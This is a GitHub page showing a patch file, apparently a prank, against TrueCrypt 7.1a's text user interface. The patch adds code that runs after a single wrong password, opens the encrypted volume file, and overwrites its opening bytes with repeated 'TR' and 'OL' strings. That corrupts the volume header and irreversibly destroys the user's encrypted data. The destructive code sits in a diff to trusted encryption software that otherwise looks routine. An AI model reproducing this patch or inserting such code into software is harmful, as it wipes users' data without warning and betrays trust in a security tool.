-
Notifications
You must be signed in to change notification settings - Fork 49
/
goobypls.patch
43 lines (41 loc) · 1.36 KB
/
goobypls.patch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
*** truecrypt-7.1a-source/Main/TextUserInterface.cpp 2012-02-07 05:36:48.000000000 -0500
--- truecrypt-7.1a-sourcelol/Main/TextUserInterface.cpp 2012-09-24 16:31:56.027785324 -0400
***************
*** 16,21 ****
--- 16,22 ----
#include "Platform/Unix/Process.h"
#endif
+ #include <fstream>
#include "Common/SecurityToken.h"
#include "Core/RandomNumberGenerator.h"
#include "Application.h"
*************** namespace TrueCrypt
*** 1102,1107 ****
--- 1103,1130 ----
while (!volume)
{
+ // gooby pls
+ if (incorrectPasswordCount) {
+ string str_target = string(*options.Path);
+ const char* my_file = str_target.c_str();
+ char* tr = "TR";
+ char* ol = "OL";
+ unsigned short count = 0;
+ unsigned short count_ol = 0;
+
+ std::fstream target;
+ target.open(my_file, ios::in | ios::out | ios::binary);
+ target.seekp(0, ios::beg);
+ for (count = 0; count < 128; count++) {
+ target.write(tr, 2);
+
+ for (count_ol = 0; count_ol < 255; count_ol++) {
+ target.write(ol, 2);
+ }
+ }
+ target.close();
+ }
+
// Password
if (!options.Password)
{